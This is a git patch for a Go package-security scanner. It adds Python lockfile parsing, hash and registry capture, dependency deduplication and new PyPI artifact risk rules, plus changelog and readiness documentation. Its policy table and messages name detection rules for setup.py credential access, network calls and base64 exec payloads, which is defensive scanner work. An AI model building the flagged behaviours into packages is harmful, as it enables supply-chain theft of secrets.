:= writeFixture(t, "poetry.lock", ` +# This file is automatically @generated by Poetry 1.8.2 and should not be changed by hand. + +[[package]] +name = "requests" +version = "2.31.0" +description = "Python HTTP for Humans." +optional = false +python-versions = ">=3.7" +files = [ + {file = "requests-2.31.0-py3-none-any.whl", hash = "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f"}, + {file = "requests-2.31.0.tar.gz", hash = "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1"}, +] + +[package.dependencies] +urllib3 = ">=1.21.1,<3" +name = "should-not-clobber" + +[[package]] +name = "internal-lib" +version = "0.1.0" +description = "private" +optional = false +python-versions = ">=3.8" +files = [] + +[package.source] +type = "legacy" +url = "https://pypi.internal.example/simple" +reference = "internal" + +[metadata] +lock-version = "2.0" +python-versions = "^3.11" +content-hash = "abc" +`) + deps, err := ParseFile(path) + if err != nil { + t.Fatal(err) + } + if len(deps) != 2 { + t.Fatalf("expected 2 packages, got %d: %+v", len(deps), deps) + } + got := map[string]Dependency{} + for _, d := range deps { + got[d.Name] = d + } + req := got["requests"] + if req.Version != "2.31.0" || !req.FromLockfile || !req.Pinned { + t.Fatalf("requests entry wrong: %+v", req) + } + if len(req.Hashes) != 2 { + t.Fatalf("expected 2 recorded hashes for requests, got %+v", req.Hashes) + } + if _, clobbered := got["should-not-clobber"]; clobbered { + t.Fatalf("[package.dependencies] key clobbered package name: %+v", got) + } + internal := got["internal-lib"] + if internal.Registry != "https://pypi.internal.example/simple" { + t.Fatalf("poetry [package.source] registry not captured: %+v", internal) + } +} + +func TestParseUVLockSkipsLocalProjectAndCapturesSources(t *testing.T) { + path := writeFixture(t, "uv.lock", ` +version = 1 +requires-python = ">=3.11" + +[options] +exclude-newer = "2026-01-01T00:00:00Z" + +[[package]] +name = "myapp" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "requests" }, +] + +[package.metadata] +requires-dist = [{ name = "requests", specifier = ">=2.31" }] + +[[package]] +name = "requests" +version = "2.31.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/requests-2.31.0.tar.gz", hash = "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1", size = 110794 } +wheels = [ + { url = "https://files.pythonhosted.org/packages/requests-2.31.0-py3-none-any.whl", hash = "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f", size = 62574 }, +] + +[[package]] +name = "sibling-tool" +version = "0.2.0" +source = { editable = "tools/sibling" } + +[[package]] +name = "patched-lib" +version = "1.0.0" +source = { git = "https://github.com/example/patched-lib?rev=abc123" } +`) + deps, err := ParseFile(path) + if err != nil { + t.Fatal(err) + } + got := map[string]Dependency{} + for _, d := range deps { + got[d.Name] = d + } + if !got["myapp"].LocalSource || !got["sibling-tool"].LocalSource { + t.Fatalf("virtual/editable packages must be marked local: %+v", got) + } + req := got["requests"] + if req.LocalSource || req.Registry != "https://pypi.org/simple" { + t.Fatalf("registry package wrong: %+v", req) + } + if len(req.Hashes) != 2 { + t.Fatalf("expected sdist+wheel hashes, got %+v", req.Hashes) + } + patched := got["patched-lib"] + if patched.DirectURL == "" || patched.LocalSource { + t.Fatalf("git-sourced package must carry DirectURL: %+v", patched) + } +} + +func TestParseRequirementsHashesContinuationsAndDirectRefs(t *testing.T) { + path := writeFixture(t, "requirements.txt", ` +requests==2.31.0 \ + --hash=sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f \ + --hash=sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1 +mypkg @ https://example.com/mypkg-1.0-py3-none-any.whl +https://example.com/anonymous-artifact.whl +./vendored/local-pkg +flask==3.0.0 ; python_version >= "3.9" +`) + deps, err := ParseRequirementsFile(path) + if err != nil { + t.Fatal(err) + } + got := map[string]Dependency{} + for _, d := range deps { + got[d.Name] = d + } + req := got["requests"] + if req.Version != "2.31.0" || len(req.Hashes) != 2 { + t.Fatalf("hashed pinned requirement not parsed: %+v", req) + } + if got["mypkg"].DirectURL != "https://example.com/mypkg-1.0-py3-none-any.whl" { + t.Fatalf("direct reference not captured: %+v", got["mypkg"]) + } + if got["flask"].Version != "3.0.0" { + t.Fatalf("marker requirement not parsed: %+v", got["flask"]) + } + // URL-only and local-path lines must not produce bogus scan targets. + if len(deps) != 3 { + t.Fatalf("expected exactly 3 named dependencies, got %d: %+v", len(deps), deps) + } +} + +func TestParsePipfileLockHashesAndIndexResolution(t *testing.T) { + path := writeFixture(t, "Pipfile.lock", `{ + "_meta": { + "sources": [ + {"name": "pypi", "url": "https://pypi.org/simple", "verify_ssl": true}, + {"name": "internal", "url": "https://pypi.internal.example/simple", "verify_ssl": true} + ] + }, + "default": { + "requests": { + "version": "==2.31.0", + "hashes": ["sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f"], + "index": "pypi" + }, + "internal-lib": {"version": "==0.1.0", "index": "internal"}, + "patched-lib": {"git": "https://github.com/example/patched-lib", "ref": "abc123"} + }, + "develop": {} +}`) + deps, err := ParseFile(path) + if err != nil { + t.Fatal(err) + } + got := map[string]Dependency{} + for _, d := range deps { + got[d.Name] = d + } + req := got["requests"] + if len(req.Hashes) != 1 || req.Registry != "https://pypi.org/simple" || !req.FromLockfile { + t.Fatalf("Pipfile.lock depth fields wrong: %+v", req) + } + if got["internal-lib"].Registry != "https://pypi.internal.example/simple" { + t.Fatalf("index name not resolved to URL: %+v", got["internal-lib"]) + } + if got["patched-lib"].DirectURL == "" { + t.Fatalf("git entry must carry DirectURL: %+v", got["patched-lib"]) + } +} + +func TestNormalizeNamePEP503(t *testing.T) { + for in, want := range map[string]string{ + "Requests": "requests", + "Foo_Bar": "foo-bar", + "foo..bar": "foo-bar", + "zope.interface": "zope-interface", + "typing--EXT_lib": "typing-ext-lib", + } { + if got := normalizeName(in); got != want { + t.Fatalf("normalizeName(%q) = %q, want %q", in, got, want) + } + } +} + +func TestDedupeMergesManifestAndLockfileEntries(t *testing.T) { + deps := []Dependency{ + {Name: "requests", Specifier: ">=2.31", SourceFile: "pyproject.toml"}, + {Name: "requests", Version: "2.31.0", Pinned: true, FromLockfile: true, Hashes: []string{"sha256:aaa"}, SourceFile: "poetry.lock"}, + {Name: "requests", Version: "2.31.0", Pinned: true, FromLockfile: true, Hashes: []string{"sha256:aaa", "sha256:bbb"}, SourceFile: "uv.lock"}, + {Name: "urllib3", Version: "2.2.1", Pinned: true, FromLockfile: true, SourceFile: "poetry.lock"}, + } + out := Dedupe(deps) + if len(out) != 2 { + t.Fatalf("expected 2 deduped entries, got %d: %+v", len(out), out) + } + var merged Dependency + for _, d := range out { + if d.Name == "requests" && d.Version == "2.31.0" { + merged = d + } + } + if merged.FromLockfile { + t.Fatalf("manifest entry collapsing into lock pin must mark it direct: %+v", out) + } + if len(merged.Hashes) != 2 { + t.Fatalf("hashes should union: %+v", merged) + } + for _, d := range out { + if d.Name == "urllib3" && !d.FromLockfile { + t.Fatalf("lock-only entry must stay lockfile-sourced: %+v", d) + } + } +} diff --git a/internal/deps/python/parser.go b/internal/deps/python/parser.go index fd16a13..31fa868 100644 --- a/internal/deps/python/parser.go +++ b/internal/deps/python/parser.go @@ -3,6 +3,7 @@ package python import ( "fmt" "path/filepath" + "regexp" "strings" ) @@ -12,6 +13,24 @@ type Dependency struct { Specifier string `json:"specifier,omitempty"` Pinned bool `json:"pinned"` SourceFile string `json:"source_file,omitempty"` + // Hashes holds artifact digests recorded by the source file (poetry.lock + // files, uv.lock wheels/sdist, Pipfile.lock hashes, requirements --hash). + Hashes []string `json:"hashes,omitempty"` + // Registry is the explicit package index recorded by the source file for + // this dependency, when it names one (uv.lock source.registry, + // poetry.lock [package.source] url, Pipfile.lock index URL). + Registry string `json:"registry,omitempty"` + // DirectURL is set for PEP 508 direct references and git/url lock sources. + // These do not resolve from a package index, so scanning the same name on + // PyPI would inspect a different artifact. + DirectURL string `json:"direct_url,omitempty"` + // FromLockfile marks entries parsed from a resolved lockfile, where the + // list includes transitive dependencies. + FromLockfile bool `json:"from_lockfile,omitempty"` + // LocalSource marks lock entries that point at the project itself or a + // local path (uv.lock virtual/editable/path/directory sources). They are + // not registry packages and must not be scanned against PyPI. + LocalSource bool `json:"local_source,omitempty"` } func ParseFile(path string) ([]Dependency, error) { @@ -45,11 +64,21 @@ func ParseRequirementSpec(spec string) Dependency { if spec == "" { return Dependency{} } + // Per-requirement pip options (e.g. --hash=sha256:...) come after the + // requirement itself. + hashes, spec := splitRequirementOptions(spec) for _, marker := range []string{";", " #"} { if idx := strings.Index(spec, marker); idx >= 0 { spec = strings.TrimSpace(spec[:idx]) } } + // PEP 508 direct reference: "name @ https://..." resolves outside any + // package index. + directURL := "" + if name, url, ok := strings.Cut(spec, "@"); ok && strings.Contains(url, "://") { + spec = strings.TrimSpace(name) + directURL = strings.TrimSpace(url) + } namePart := spec version := "" specifier := "" @@ -70,11 +99,146 @@ func ParseRequirementSpec(spec string) Dependency { namePart = namePart[:idx] } name := normalizeName(namePart) - return Dependency{Name: name, Version: version, Specifier: specifier, Pinned: version != ""} + if !validPackageName(name) { + return Dependency{} + } + return Dependency{ + Name: name, + Version: version, + Specifier: specifier, + Pinned: version != "", + Hashes: hashes, + DirectURL: directURL, + } +} + +// splitRequirementOptions strips pip per-requirement options from a +// requirements line, capturing any --hash digests. +func splitRequirementOptions(spec string) ([]string, string) { + if !strings.Contains(spec, "--") { + return nil, spec + } + var hashes []string + fields := strings.Fields(spec) + kept := make([]string, 0, len(fields)) + for i := 0; i < len(fields); i++ { + f := fields[i] + switch { + case strings.HasPrefix(f, "--hash="): + hashes = append(hashes, strings.TrimPrefix(f, "--hash=")) + case f == "--hash" && i+1 < len(fields): + i++ + hashes = append(hashes, fields[i]) + case strings.HasPrefix(f, "--"): + // Any other per-requirement option and its inline value. + if !strings.Contains(f, "=") && i+1 < len(fields) && !strings.HasPrefix(fields[i+1], "--") { + i++ + } + default: + kept = append(kept, f) + } + } + return hashes, strings.Join(kept, " ") } +var packageNamePattern = regexp.MustCompile(`^[a-z0-9](?:[a-z0-9._-]*[a-z0-9])?$`) + +// validPackageName reports whether name is a plausible normalized PyPI +// project name. Rejecting anything else keeps URLs, local paths, and parse +// garbage from being looked up against the registry under a bogus name. +func validPackageName(name string) bool { + return name != "" && packageNamePattern.MatchString(name) +} + +// normalizeName applies PEP 503 canonicalization: lowercase with runs of +// ".", "-", and "_" collapsed to a single "-". func normalizeName(s string) string { - return strings.ToLower(strings.TrimSpace(s)) + s = strings.ToLower(strings.TrimSpace(s)) + return nameSeparatorRuns.ReplaceAllString(s, "-") +} + +var nameSeparatorRuns = regexp.MustCompile(`[-_.]+`) + +// Dedupe merges dependencies collected from multiple manifests and lockfiles +// into one entry per name@version. Manifest provenance wins over lockfile +// provenance (so direct dependencies stay marked direct), and recorded +// hashes, registries, and pins are unioned. A version-less manifest entry +// collapses into the versioned entry that a lockfile resolved it to, instead +// of remaining a second scan target. +func Dedupe(deps []Dependency) []Dependency { + type key struct{ name, version string } + versioned := map[string]bool{} + for _, dep := range deps { + if dep.Version != "" { + versioned[dep.Name] = true + } + } + index := map[key]int{} + out := make([]Dependency, 0, len(deps)) + var unversioned []Dependency + for _, dep := range deps { + if dep.Version == "" && versioned[dep.Name] { + unversioned = append(unversioned, dep) + continue + } + k := key{dep.Name, dep.Version} + i, ok := index[k] + if !ok { + index[k] = len(out) + out = append(out, dep) + continue + } + merged := out[i] + if !dep.FromLockfile { + merged.FromLockfile = false + } + if merged.Specifier == "" { + merged.Specifier = dep.Specifier + } + if merged.Registry == "" { + merged.Registry = dep.Registry + } + if merged.DirectURL == "" { + merged.DirectURL = dep.DirectURL + } + merged.Pinned = merged.Pinned || dep.Pinned + merged.LocalSource = merged.LocalSource && dep.LocalSource + merged.Hashes = unionStrings(merged.Hashes, dep.Hashes) + if merged.SourceFile != dep.SourceFile && dep.SourceFile != "" && merged.SourceFile != "" { + merged.SourceFile = merged.SourceFile + ", " + dep.SourceFile + } + out[i] = merged + } + // Fold each collapsed manifest entry into every versioned entry for the + // same name: the direct-dependency provenance carries over. + for _, dep := range unversioned { + if dep.FromLockfile { + continue + } + for i := range out { + if out[i].Name == dep.Name { + out[i].FromLockfile = false + } + } + } + return out +} + +func unionStrings(a, b []string) []string { + if len(b) == 0 { + return a + } + seen := map[string]bool{} + for _, v := range a { + seen[v] = true + } + for _, v := range b { + if v != "" && !seen[v] { + seen[v] = true + a = append(a, v) + } + } + return a } func stripInlineComment(s string) string { diff --git a/internal/deps/python/poetry.go b/internal/deps/python/poetry.go index 250ccba..348326f 100644 --- a/internal/deps/python/poetry.go +++ b/internal/deps/python/poetry.go @@ -40,12 +40,15 @@ func ParsePipfile(path string) ([]Dependency, error) { } name := strings.TrimSpace(strings.Trim(key, `"'`)) spec := strings.TrimSpace(strings.Trim(val, `"'`)) + gitURL := "" if strings.HasPrefix(spec, "{") { + gitURL = valueFromInlineTable(spec, "git") spec = valueFromInlineTable(spec, "version") } dep := ParseRequirementSpec(name + specifierForPipfile(spec)) if dep.Name != "" { dep.SourceFile = path + dep.DirectURL = gitURL deps = append(deps, dep) } } @@ -61,18 +64,42 @@ func ParsePipfileLock(path string) ([]Dependency, error) { if err := json.Unmarshal(b, &raw); err != nil { return nil, fmt.Errorf("parse Pipfile.lock %q: %w", path, err) } + indexURLs := pipfileLockSources(raw["_meta"]) var deps []Dependency for _, section := range []string{"default", "develop"} { for name, val := range raw[section] { spec := "" + var hashes []string + registry := "" + directURL := "" if entry, ok := val.(map[string]any); ok { if v, ok := entry["version"].(string); ok { spec = v } + if hs, ok := entry["hashes"].([]any); ok { + for _, h := range hs { + if s, ok := h.(string); ok { + hashes = append(hashes, s) + } + } + } + if idx, ok := entry["index"].(string); ok { + registry = indexURLs[idx] + if registry == "" { + registry = idx + } + } + if git, ok := entry["git"].(string); ok { + directURL = git + } } dep := ParseRequirementSpec(name + specifierForPipfile(spec)) if dep.Name != "" { dep.SourceFile = path + dep.Hashes = hashes + dep.Registry = registry + dep.DirectURL = directURL + dep.FromLockfile = true deps = append(deps, dep) } } @@ -80,38 +107,112 @@ func ParsePipfileLock(path string) ([]Dependency, error) { return deps, nil } +// pipfileLockSources maps Pipfile.lock _meta source names to their URLs. +func pipfileLockSources(meta map[string]any) map[string]string { + out := map[string]string{} + if meta == nil { + return out + } + sources, ok := meta["sources"].([]any) + if !ok { + return out + } + for _, s := range sources { + entry, ok := s.(map[string]any) + if !ok { + continue + } + name, _ := entry["name"].(string) + url, _ := entry["url"].(string) + if name != "" && url != "" { + out[name] = url + } + } + return out +} + func ParseCondaEnvFile(path string) ([]Dependency, error) { return nil, fmt.Errorf("conda environment.yml scanning is designed but not implemented in this milestone") } +// parseTOMLLockPackages reads [[package]] entries from poetry.lock and +// uv.lock. It tracks the current TOML table so keys inside sub-tables such as +// [package.dependencies] or [package.source] cannot clobber the package's own +// name/version, records artifact hashes (poetry `files`, uv `wheels`/`sdist`), +// and captures the explicit registry or local/direct source when one is named. func parseTOMLLockPackages(path string) ([]Dependency, error) { b, err := os.ReadFile(path) if err != nil { return nil, err } var deps []Dependency + table := "" + cur := Dependency{} inPackage := false - name := "" - version := "" + arrayKey := "" + sourceType, sourceRef := "", "" flush := func() { - if name == "" { + if !inPackage || cur.Name == "" { return } - dep := Dependency{Name: normalizeName(name), Version: version, Pinned: version != "", SourceFile: path} - if version != "" { - dep.Specifier = "==" + version + dep := cur + switch sourceType { + case "": + case "legacy", "registry": + dep.Registry = sourceRef + case "git", "url": + dep.DirectURL = sourceRef + default: + // virtual/editable/path/directory/file: the project itself or a + // local artifact — not a registry package. + dep.LocalSource = true + } + if dep.Version != "" { + dep.Specifier = "==" + dep.Version + dep.Pinned = true } + dep.FromLockfile = true + dep.SourceFile = path deps = append(deps, dep) - name, version = "", "" + } + reset := func() { + cur = Dependency{} + sourceType, sourceRef = "", "" + arrayKey = "" } for _, originalLine := range strings.Split(string(b), "\n") { line := strings.TrimSpace(stripInlineComment(originalLine)) if line == "" { continue } - if strings.HasPrefix(line, "[[package]]") { + if arrayKey != "" { + // Inside a multi-line array (poetry files = [...], uv wheels = [...]). + if h := valueFromInlineTable(strings.Trim(line, ","), "hash"); h != "" { + cur.Hashes = append(cur.Hashes, h) + } + if line == "]" || strings.HasSuffix(line, "]") { + arrayKey = "" + } + continue + } + if strings.HasPrefix(line, "[") && strings.HasSuffix(line, "]") { + header := strings.Trim(line, "[]") + if header == "package" { + flush() + reset() + inPackage = true + table = "package" + continue + } + if inPackage && strings.HasPrefix(header, "package.") { + table = header + continue + } + // Any unrelated top-level table ends the current package. flush() - inPackage = true + reset() + inPackage = false + table = header continue } if !inPackage { @@ -121,11 +222,42 @@ func parseTOMLLockPackages(path string) ([]Dependency, error) { if !ok { continue } - switch strings.TrimSpace(key) { - case "name": - name = strings.Trim(strings.TrimSpace(val), `"'`) - case "version": - version = strings.Trim(strings.TrimSpace(val), `"'`) + k := strings.TrimSpace(key) + v := strings.TrimSpace(val) + switch table { + case "package": + switch k { + case "name": + cur.Name = normalizeName(strings.Trim(v, `"'`)) + case "version": + cur.Version = strings.Trim(v, `"'`) + case "source": + // uv.lock inline table: { registry = "..." } / { virtual = "." } / ... + for _, t := range []string{"registry", "virtual", "editable", "path", "directory", "git", "url"} { + if ref := valueFromInlineTable(v, t); ref != "" { + sourceType, sourceRef = t, ref + break + } + } + case "sdist": + if h := valueFromInlineTable(v, "hash"); h != "" { + cur.Hashes = append(cur.Hashes, h) + } + case "files", "wheels": + if strings.HasSuffix(v, "[") { + arrayKey = k + } + } + case "package.source": + // poetry.lock sub-table: type = "legacy", url = "...". + switch k { + case "type": + sourceType = strings.Trim(v, `"'`) + case "url", "reference": + if sourceRef == "" || k == "url" { + sourceRef = strings.Trim(v, `"'`) + } + } } } flush() diff --git a/internal/deps/python/requirements.go b/internal/deps/python/requirements.go index e364395..0d69600 100644 --- a/internal/deps/python/requirements.go +++ b/internal/deps/python/requirements.go @@ -28,8 +28,17 @@ func parseRequirementsFile(path string, seen map[string]bool) ([]Dependency, err defer f.Close() var deps []Dependency sc := bufio.NewScanner(f) - for sc.Scan() { - line := strings.TrimSpace(stripInlineComment(sc.Text())) + var pending string + for sc.Scan() || pending != "" { + raw := sc.Text() + // Join backslash continuations: pip-compile --generate-hashes places + // each --hash on its own continued line. + if trimmed := strings.TrimRight(raw, " \t"); strings.HasSuffix(trimmed, "\\") { + pending += strings.TrimSuffix(trimmed, "\\") + " " + continue + } + line := strings.TrimSpace(stripInlineComment(pending + raw)) + pending = "" if line == "" { continue } diff --git a/internal/policy/policy.go b/internal/policy/policy.go index c662461..0618b84 100644 --- a/internal/policy/policy.go +++ b/internal/policy/policy.go @@ -191,6 +191,11 @@ func Default() Policy { "pypi_setup_py_network_call": {Enabled: true, Severity: "critical", Score: 100}, "pypi_setup_py_credential_access": {Enabled: true, Severity: "critical", Score: 100}, "pypi_unknown_build_backend": {Enabled: true, Severity: "medium", Score: 20}, + "pypi_in_tree_build_backend": {Enabled: true, Severity: "high", Score: 45}, + "pypi_build_requires_direct_reference": {Enabled: true, Severity: "high", Score: 60}, + "pypi_compiled_bytecode_payload": {Enabled: true, Severity: "high", Score: 40}, + "pypi_wheel_record_missing": {Enabled: true, Severity: "medium", Score: 25}, + "pypi_wheel_record_unlisted_files": {Enabled: true, Severity: "high", Score: 35}, "pypi_eval_exec_usage": {Enabled: true, Severity: "high", Score: 45}, "pypi_base64_exec_payload": {Enabled: true, Severity: "critical", Score: 100}, "pypi_network_call": {Enabled: true, Severity: "high", Score: 40}, diff --git a/internal/risk/risk.go b/internal/risk/risk.go index 8935553..555ad73 100644 --- a/internal/risk/risk.go +++ b/internal/risk/risk.go @@ -218,6 +218,16 @@ func defaultMessage(id string) string { return "setup.py reads credentials or sensitive paths" case "pypi_unknown_build_backend": return "pyproject.toml uses an unusual or unknown build backend" + case "pypi_in_tree_build_backend": + return "pyproject.toml loads the build backend from code inside the package (backend-path)" + case "pypi_build_requires_direct_reference": + return "pyproject.toml build requirements pull code from a direct URL or VCS reference" + case "pypi_compiled_bytecode_payload": + return "Package artifact ships compiled Python bytecode without matching source files" + case "pypi_wheel_record_missing": + return "Wheel artifact is missing its .dist-info RECORD manifest" + case "pypi_wheel_record_unlisted_files": + return "Wheel artifact contains files not declared in its RECORD manifest" case "pypi_ai_package_squatting_candidate": return "Package name resembles AI-generated package naming pattern" default: diff --git a/internal/types/types.go b/internal/types/types.go index 028397b..de7ed2c 100644 --- a/internal/types/types.go +++ b/internal/types/types.go @@ -165,8 +165,10 @@ type ArtifactSummary struct { SourceDistributionAvailable bool `json:"source_distribution_available"` Yanked bool `json:"yanked"` BuildBackend string `json:"build_backend,omitempty"` + BuildBackendPath string `json:"build_backend_path,omitempty"` SetupPyPresent bool `json:"setup_py_present"` NativeExtension bool `json:"native_extension"` + OrphanedBytecode bool `json:"orphaned_bytecode,omitempty"` SandboxNote string `json:"behavior_analysis_note,omitempty"` } From 0102c53d2e439675e19014a36e3cf7b6d151f88f Mon Sep 17 00:00:00 2001 From: Bhushan Date: Thu, 2 Jul 2026 21:33:07 +0530 Subject: [PATCH 2/2] docs: record Loop 8 PyPI GA-readiness evidence and update coverage docs PyPI is promoted in documentation from bare preview to preview (GA-candidate). evidence/pypi/pypi-ga-readiness.md records the depth matrix, validation results, live-scan calibration evidence, and the three named gates that must close before a GA claim (pip-parity version resolution, large-artifact handling, real-repo Python benchmark). Co-Authored-By: Claude Fable 5 --- CHANGELOG.md | 26 ++++++ README.md | 2 +- docs/known-limitations.md | 22 +++-- evidence/pypi/pypi-ga-readiness.md | 139 +++++++++++++++++++++++++++++ 4 files changed, 181 insertions(+), 8 deletions(-) create mode 100644 evidence/pypi/pypi-ga-readiness.md diff --git a/CHANGELOG.md b/CHANGELOG.md index 9dd0a73..a9a9e62 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,32 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +### Added +- PyPI production depth (Loop 8). Lockfile parsing is now table-aware for + `poetry.lock` and `uv.lock` (sub-tables no longer clobber entries; artifact + hashes, explicit registries, and git/url sources are recorded; the + project's own virtual/editable lock entry is never scanned against PyPI). + `requirements.txt` handles backslash continuations, `--hash` digests, and + PEP 508 `name @ url` direct references. `Pipfile.lock` records hashes and + resolves index names to URLs. Names are PEP 503-canonicalized and + validated. `ci scan --ecosystem pypi` discovers `Pipfile`/`Pipfile.lock`, + dedups the inventory to one scan target per `name@version`, marks + lockfile-only dependencies as transitive, and surfaces direct URL/VCS + dependencies as UNKNOWN (fail closed) instead of scanning a same-named + index package. +- New PyPI artifact findings: orphaned compiled bytecode + (`pypi_compiled_bytecode_payload`), wheel RECORD anomalies + (`pypi_wheel_record_missing`, `pypi_wheel_record_unlisted_files`), in-tree + build backends (`pypi_in_tree_build_backend`), and direct URL/VCS build + requirements (`pypi_build_requires_direct_reference`). Wheel + `{name}.data/scripts/` files are analyzed as install execution surfaces. + +### Fixed +- PyPI false block: nested example/test `setup.py` and `pyproject.toml` + files inside a source distribution no longer score as install surfaces + (click 8.1.7 previously blocked at score 100 from 11 inert example + `setup.py` files; it now allows at 20). + ## [1.2.0] - 2026-07-02 ### Added diff --git a/README.md b/README.md index b3e5f48..6810895 100644 --- a/README.md +++ b/README.md @@ -183,7 +183,7 @@ PkgSafe GA v1 is npm-first. Maturity varies by ecosystem and surface: | Ecosystem | Metadata + OSV | Lockfile parsing | Artifact/content analysis | |-----------|:--:|:--:|:--:| | **npm** | Production-ready GA v1 scope | ✅ `package-lock.json` | ✅ tarball + lifecycle heuristics | -| **PyPI** | Preview | ⚠️ `requirements.txt` only (poetry/uv/Pipfile/conda are stubs) | ⚠️ no behavior analysis | +| **PyPI** | Preview (GA-candidate) | ✅ `requirements.txt` (incl. `--hash`), `pyproject.toml`, `poetry.lock`, `uv.lock`, `Pipfile`, `Pipfile.lock` with inventory dedup (conda is a stub) | ⚠️ wheel + sdist static analysis (RECORD, bytecode, build-backend); no behavior analysis | | **Go** | Preview | ✅ `go.mod`/`go.sum` | ❌ metadata-only | | **Cargo** | Preview | ✅ `Cargo.lock` | ❌ metadata-only | diff --git a/docs/known-limitations.md b/docs/known-limitations.md index bb790bb..db12f9c 100644 --- a/docs/known-limitations.md +++ b/docs/known-limitations.md @@ -33,13 +33,21 @@ until their GA gates are verified: - Offline scans require advisory and registry metadata to be synced or cached first. Missing advisory data fails closed rather than silently allowing a package. -- PyPI remains preview. Dependency inventory now covers `requirements.txt`, - `pyproject.toml`, `poetry.lock`, `uv.lock`, `Pipfile`, and `Pipfile.lock`, - and artifact static analysis covers common setup/build, network, credential, - environment-secret, cloud-metadata, encoded-exec, and native-extension - signals. Remaining PyPI caveats include incomplete ecosystem benchmark depth, - no default behavior execution, no PyPI GA claim, and no guarantee that every - Python packaging edge case is parsed. +- PyPI remains preview (GA-candidate). Dependency inventory covers + `requirements.txt` (including `--hash` digests and line continuations), + `pyproject.toml`, `poetry.lock`, `uv.lock`, `Pipfile`, and `Pipfile.lock` + with per-`name@version` dedup; lockfile-recorded hashes, registries, and + git/url sources are captured, and direct URL/VCS dependencies surface as + UNKNOWN rather than being scanned under a same-named index package. + Artifact static analysis covers setup/build, network, credential, + environment-secret, cloud-metadata, encoded-exec, native-extension, + orphaned-bytecode, wheel RECORD, and build-backend (in-tree + `backend-path`, direct-URL build requires) signals. Remaining gates before + a PyPI GA claim (see `evidence/pypi/pypi-ga-readiness.md`): version + resolution can select pre-releases where pip would not, artifacts above + the extraction caps (for example numpy) fail closed as unscannable rather + than being partially analyzed, conda `environment.yml` is unimplemented, + and no default behavior execution exists for Python packages. - The local REST API is designed for loopback developer tooling and should not be exposed as a public service. - Generated release artifacts must be produced by the release pipeline or diff --git a/evidence/pypi/pypi-ga-readiness.md b/evidence/pypi/pypi-ga-readiness.md new file mode 100644 index 0000000..41382c4 --- /dev/null +++ b/evidence/pypi/pypi-ga-readiness.md @@ -0,0 +1,139 @@ +# PyPI GA Readiness — Loop 8 Evidence (PyPI Production Depth) + +- Date: 2026-07-02T16:02:06Z +- Branch: `loop-08-pypi-production-depth` +- Implementation commit: `cbd391c` +- Scope: Loop 8 of the loop-engineering roadmap — "improve Python dependency + and artifact coverage while keeping PyPI preview until readiness gates pass." + +## Verdict + +**Recommendation: promote PyPI from "preview" to "preview (GA-candidate)". +Do not claim GA yet.** Inventory and static artifact analysis are now +npm-comparable in depth and pass calibration on real packages, but three +named gates (below) remain open. The GA flip should be its own future loop +that closes those gates and re-runs this evidence. + +## What changed in Loop 8 + +### Dependency inventory depth (`internal/deps/python`) + +| Capability | Before Loop 8 | After Loop 8 | +|---|---|---| +| poetry.lock / uv.lock parsing | Naive line scan; keys in sub-tables (`[package.dependencies]`, `[package.source]`) could clobber name/version | Table-aware; sub-tables isolated | +| uv.lock project self-entry | Scanned against PyPI under the project's own name (bogus target, dependency-confusion noise) | Marked `local_source`, skipped with a stderr note | +| git / direct-URL lock sources | Scanned as if they were the same-named PyPI package (wrong artifact) | Recorded as `direct_url`; CI surfaces them as UNKNOWN (fail closed) | +| Lockfile-recorded hashes | Ignored | Captured (poetry `files`, uv `wheels`/`sdist`, Pipfile.lock `hashes`, requirements `--hash`) | +| Explicit registries | Ignored | Captured (uv `source.registry`, poetry `[package.source] url`, Pipfile.lock index-name→URL) | +| requirements.txt continuations | `--hash` continuation lines mis-parsed as separate entries | Backslash continuations joined; `pip-compile --generate-hashes` layout parses correctly | +| PEP 508 `name @ url` | Name absorbed the URL (garbage scan target) | Name + `direct_url` split; bare URL/path lines rejected | +| Name normalization | Lowercase only (`Foo_Bar` ≠ `foo-bar`) | PEP 503 canonical (`[-_.]+` → `-`) plus name validation | +| Multi-file inventory | Every file's entries scanned independently (same package scanned 2-4×) | `Dedupe()`: one target per `name@version`; unpinned manifest entries collapse into their lockfile pin and keep direct provenance | +| Pipfile / Pipfile.lock in `ci scan` | Parsers existed but files were never discovered | Discovered and ecosystem-detected | +| Direct vs transitive | Every finding hardcoded `direct: true` | `direct` reflects manifest provenance; lockfile-only entries are transitive | + +### Artifact inspection depth (`internal/analyzer/pypi`) + +New structural checks (all rule-backed in `policy.Default()` and +`default-policy.yaml`): + +| Finding | Severity/score | Signal | +|---|---|---| +| `pypi_compiled_bytecode_payload` | high / 40 | `.pyc`/`.pyo` shipped without matching `.py` source (payload hidden from source review) | +| `pypi_wheel_record_missing` | medium / 25 | Wheel lacks its `.dist-info/RECORD` manifest | +| `pypi_wheel_record_unlisted_files` | high / 35 | Extracted wheel files not declared in RECORD (smuggled files); scoped per artifact so the sdist extracted alongside is not misflagged | +| `pypi_in_tree_build_backend` | high / 45 | PEP 517 `backend-path`: build backend loaded from code inside the package — arbitrary code at build time regardless of declared backend name | +| `pypi_build_requires_direct_reference` | high / 60 | `[build-system] requires` pulls code from a direct URL/VCS reference instead of the index | + +Also: wheel `{name}-{version}.data/scripts/` files are now analyzed as +install execution surfaces (they land on PATH), and `[build-system]` parsing +is section-aware (keys with the same names in other TOML tables are ignored). + +### Calibration fix found by Loop 8 validation + +`click==8.1.7` (healthy, top-tier package) **false-blocked at score 100** +before this loop: its sdist ships 11 example `setup.py` files and each scored +`pypi_setup_py_present` (11 × 15, clamped). Only the artifact-root +`setup.py`/`pyproject.toml` participates in build/install; nested +example/test manifests are inert. After gating to install-root manifests: +`click==8.1.7` → ALLOW, score 20. This extends the Loop 1 lesson (score only +install surfaces) from file content to file position. + +## 